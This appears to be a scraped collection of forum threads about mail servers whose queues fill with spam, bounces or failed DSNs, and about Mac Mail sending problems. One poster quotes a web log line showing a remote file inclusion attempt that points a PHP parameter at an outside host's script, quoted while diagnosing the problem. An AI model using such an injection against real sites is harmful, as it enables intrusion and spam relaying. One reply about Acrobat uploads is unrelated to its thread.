Outgoing mail queue fills with spam

I remember reading about how to fix this before - but cannot find the details now.
I have a server that is trying to send mail to non existant domains or non existant e-mail addressed. the mail is not originating from clients.
Typical entry in the mail queue is
Message ID: 60D7987570

how can I sent the mail server up to just ditch this stuff in the first place.

Here is an extract from the logs. I think I understand this now and it works as it should - but perhaps you could confirm.
This message is clearly not stuck in the outgoing queue. From what I can see mail is received from a backup mail relay for a non existent user on this server. When we try to reject it back to sender, if the sender rejects with 550 we bin it.
I guess the problem is what to do when the receiving mail server fails to respond? I think eventually it times out and we delete the message. Is that correct?

Mail Queue Filling Up - Spam?

Hi All,
Over the weekend the mail queue in SA filled up. This morning some users where complaining about outgoing messages not being delivered. When I checked the mail queue it had about 500 messages in it. All of them looked liked spam. When I deleted them, outgoing messages started being delivered.
I have no idea why that would happen. Could it mean a hacked machine on the network? I've turned off all of my window's machines overnight to see what happens.
here is my config file.

Thanks Jeff. I think the code injection maybe it. I have the server set to relay all outgoing messages to our ISP's mail server. When I look at the messages in the mail queue, all of them seem to be bounce backs from the ISP (domain name does not exist.)
When I look at the mail log for one the messages with the ID of 39E33163839, I see:

When I look at the HTTPD logs for that same minute, I see:

The line "//components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -" seem to be that code injection. We don't have a file named sitemap.xml.php on our website.
Am I correct that this is a code injection?
I have three site running on this server. One is a plain old static site for the company it does not use PHP. One is webmail that came with OS X. The final one is an file storage site that does use PHP. It's a commercial code called Copper Project. I've turned off the site overnight to see if this still happens.
The link in in Jeff's post seems to suggest a simple fix. However, I know nothing about PHP programing, so this is beyond me.
Thanks

Mail queue filling with errors, is something broken?

Back in SL, I was able to just look at the queue in server app and if it ever had anything in it, I knew it was a problem and I usually could deal with it.
But in ML, you have to issue "mailq" in terminal to see it. So I did that a lot when first set up, and everything seemed fine.
I just checked it recently and found hundreds of messages like this:

I delete them and it fills up again.
Can anyone please tell me what's happening here and how to fix it?
Thank a bunch,

As you can see from other postings on this forum, we're currently experiencing upload problems for very large files, especially over slower internet connections. I suggest that you try to upload these files to your account at https://cloud.acrobat.com and then create Public links from there.

Mail queue filling up, delivery real slow

mail server is: 10.4.2 running on a dual 2 GHz Xserve 1 gig RAM
2 hard drives. 1 boot, 1 mail store
my mail queue is filling up with messages that can't be delivered. bad address usually. not sure why they make into the queue in the first place.
The queue reaches as high a 7000+ messages.
This is really killing my server. Can anyone shed some light??

I do have a few Windows clients. They have up to date virus protection but they could very well be infected with some malware. I haven't had the chance to run SpyBot on them.
Sorry for the long postconf output.
I did requeue all the messages with postsuper -r. I also put them all on hold (postsuper -h) which allowed for new messages to be delivered as usual. Deleting the queue was not an option. I am pretty sure now that it was a spam dictionary attack. But I am still concerned that this would effectively bring the server down.
I looked into recipient restrictions but don't see any easy way to maintain an accurate list of my users. Is there a way to pull them from the LDAP directory? I guess I could do that with a perl script, shouldn't be too hard. Is there an easier way? Something built in?
Anyway the server is fine now. As I said I put all the messages on hold then slowly released them back into the active queue. Once the server was able to get over its hang up it chewed through the remaining messages ok. This still brought my server down pretty much the entire day. Not acceptable in most countries.
Any other ideas are welcome!
Thanks,
Josh

Mail queue filling up - Delivery Temporarily Suspended Connection Refused

About 2 hours ago we stopped getting any email from our server. The mail queue is filling up. If I click on one of the messages in queue, it gives me a message of "delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: connection refused".
What happened????
Thanks,

My configuration was running fine for months but suddenly every night amavisd stops running (I suppose after mailbfr ran). I have to launch amavisd manually with +sudo /bin/launchctl load -w /System/Library/LaunchDaemons/org.amavis.amavisd.plist+ every day.
Maybe something is wrong with my org.amavis.amavisd.plist? Here is it:

Problem Mail program & Outgoing Mail Server - Problem with Earthlink

I had Earthlink POP / SMTP ( In/Out ) Mail server and mac Mail set up when I pulled the power plug on PMG4 due to freeze up !
Now have no contents in mac Mail program In/Out/Sent/Draft on the PMG4 hardrive or the external Lacie brick back-up hardrive. I am told by Earthlink this is because I had the " don't save email copy on server " box checked in the Mail/Add account/Advanced section.
Any idea how I can retieve my email folders ?
Also cannot get rid of 6 account names listed erroneously under Mail/Preferences/Account/Accounts Information/outgoing mail server ! And yet there is only one account listed when the accounts button is pushed. This is making it impossible to connect to the earthlink server ! Earthlink says everythings fine on their end and I have the correct Server Port number entered ! Earthlink says it's a problem with macMail !
Help !

This is no longer an issue

Mac mail outgoing mail not working with wildblue gmail account

My outgoing mail keeps saying offline. Cannot connect on the default ports. Tried changing ports, with and without SSL. Anybody have any solution?

I've recreated the account multiple times and finally have mail coming through under an "All Mail" label under "Gmail" on the left hand side of the application. The one thing I did do differently was uncheck the SSL box in advanced settings, save changes, recheck the SSL box, save changes. Mail started working after that.
Before this problem existed, I had [Gmail] in the "imap prefix" box in advanced settings in order to get rid of the gmail labels. I did this because I only wanted the Inbox and Sent Items to show in the far left. Right now, i'm only able to view my mail under an all mail folder beneath a Gmail Folder on the left had side. Can I get rid of all these folders and simply use my inbox and sent items icons?
Thanks,
Ryan
Thanks in advance.

Queue filling with outgoing spam, how do I stop it?

My queue has lately filled up with mail intended to go out as mail from [email protected] or [email protected], and the like.
I run Wordpress sites on this server and I updated all versions, fixed all folder permissions and changed all passwords. It stopped for a while after that, but it's back again.
I've checked all Wordpress logins and found no unauthorized IPs logging in. Can't find anything in the FTP or access logs that looks amiss.
I know we are not an open relay.
Can anybody tell me how I can track down how or where in the system these scumbags are getting in?
Really appreciate any help!

Mail Queue filling up with DSN failures

So my Exchange 2010 queue viewer keeps filling up with failed DSNs. There is no sender (except for [email protected]). I have done some searching and the first thing that everyone usually mentions as a cause is SPAM. It's not SPAM. I know this
for two reasons:
1. We have a barracuda SPAM/AV firewall that all SMTP email goes through. None of these emails are there
2. We can see the subject of the email. The subject is a cronjob email from our linux servers. "Undeliverable Cron <cronuser@>..." But there is no source email to be found. Our linux server is not sending any.
Any idea what could be causing this?

If they're DSNs, they could be sent from anywhere with a spoofed reply address.

Outgoing Mail not working with Mail.app in 10.5.7

I am helping my mom set up her email accounts on her new macbook laptop. It has 10.5.7
I have tried setting up two different email accounts in mail.app, one is a roadrunner webmail account, and the other is a gmail account. For the roadrunner account, I followed their instructions, which can be seen here: http://help.rr.com/HMSFaqs/eOSXmail.aspx
With the gmail account, mail.app was able to do the setup itself from the email address and password.
I know that the account information is partially correct because with both the accounts they were able to correctly download email onto the computer into mail.app. But both accounts have not been able to successfully send an email.
I can provide any other information about the settings used in the outgoing server or advanced information if it would be helpful.

This is so strange. The exact same thing happened to me yesterday. Suddenly, on my Mac and my PC, I was no longer able to SEND email. I am able to receive email...just not send. I too am a Comcast customer. I contacted Comcast and they, of course, said the problem had to do with the servers that my email client is trying to access and that it had nothing to do with them. We then set up my Comcast.net email account (which I never use) and it worked fine (sending and receiving).
So, I switched my other accounts to use Comcast's smtp server and that worked on the Mac only. I can now send email on my Mac but not on my PC.
This leads me to believe that it is not something wrong with my email client (since I have the problem on both my Mac and PC) but instead, something is up with Comcast.
I checked and it turns out that Comcast just implemented a new Acceptable Use Policy which specifically implements a NEW traffic management policy. This was JUST implemented this month. So, I am getting the sneaking suspicion that Comcast is somehow denying me access to those SMTP servers and I have to use their SMTP server instead.
Does this make any sense to anyone???? I am at a total loss here.
Thanks,
Susan

Mail Queue Filling Up

Came into the office this morning and everyone is complaining they didn't get any email over the weekend. I log into SA to notice over 300 emails stuck in the queue. I found a couple threads regarding this and this one particularly is almost my exact situation:
http://discussions.apple.com/thread.jspa?messageID=1891076&
With the exception of upgrading the OS. I did actually have to add a virtual IP address to the same NIC that has the IP for our email. I did this because I was having SSL issues:
http://discussions.apple.com/thread.jspa?threadID=612479&tstart=0
Since I wasn't adding a new IP and not so much changing an IP, I didn't use the "changeip" command. Following some of the instructions from the above mentioned thread, I ran "sudo postsuper -r ALL" and this didn't seem to help at all. I then issued a "/sbin/reboot" to restart the email server and now it is in the process of sending all the email that are in the queue. Send and receive email is working properly.
So why the post since I have solved my own problem?
Because it makes me nervous that after adding an additional real-world IP to the extra NIC installed on the server, that it has been behaving this.
So... any thoughts or suggestions on how to prevent this in the future or how to fix this? Thanks.

Ahhh! Yes, I did create an actual user for postmaster
and am using it so I could have an additional email
account in Mail.app to monitor email that was
improperly addressed. Usually I find about 1-2
emails a week where someone improperly mis-spelled
someones address and therefore I send it on to the
right place.
Should I delete the "postmaster" account in WGM? But
then how would I be able to check it's email?
Have a look in /etc/postfix/alias. The alias name is on the left (postmaster) and the name of the mail account used for it is on the right. Replace with your own short name or another (I usually set up a separate mailadmin user). But I don't really think that is causing your problem - its the actual receiving undeliverable mail which is generating the bounces back out.
Also in /etc/postfix/main.cf what's the difference
between "myhostname" and "mydomain". I have them
both configured the same with "mail.domain.com".
Should one be "domain.com" and the other
"mail.domain.com"?
myhostname is normally your hostname ( eg mail.domain.com) - what you want your server to use in its 'helo' command. Ideally should be the same as your MX record (and PTR record for your IP). Ideally they should all match but sometimes difficult.
mydomain - eg domain.com
Note that you will have to put the domain into the Local Hosts Alias pane (if not already there) if you previously only had it as your myhostname.

Suddenly - iCloud filled with spam

I've never had any problem with junk email/spam sent to my me.com (iCloud email address). Nor has my husband.
As of about four or five days ago - just before Christmas - suddenly we were receiving 4, 5, 8, 10+ spam messages a day each.
We mark them as junk mail. We forward as many as we feel like to [email protected] (it gets tiresome) - including headers. We have reported this to www.apple.com/feedback/icloud.html
But it's still coming - we realize this seems to be a fairly new, universal (to iCloud) problem.
Just wanted to add my annoyed voice to the conversation and to express my hope that Apple will fix whatever needs to be fixed. We've never been thrilled with iCloud

Likewise -- just started getting a lot of SPAM as well to my @me.com address
Historically never gotten any -- now it comes 4-5 message all within about 30-60 minutes, once a day -- all have a single JPG advertisement in the message and all messages seem to be different
Really odd...

Gmail smtp (outgoing) mail not working with apple mail 5

Hi,
I have a numbe of gmail accounts, I can receive mail through the new apple mail 5 client but can't send any at all.
I've tried everything gmail help suggests but to no avail...
Cheers,
Alex

Have you use the correct outgoing server - smtp.mail.me.com and SSL is required. I would suggest removing the account and starting again, following the instructions applicable to Leopard in this page:
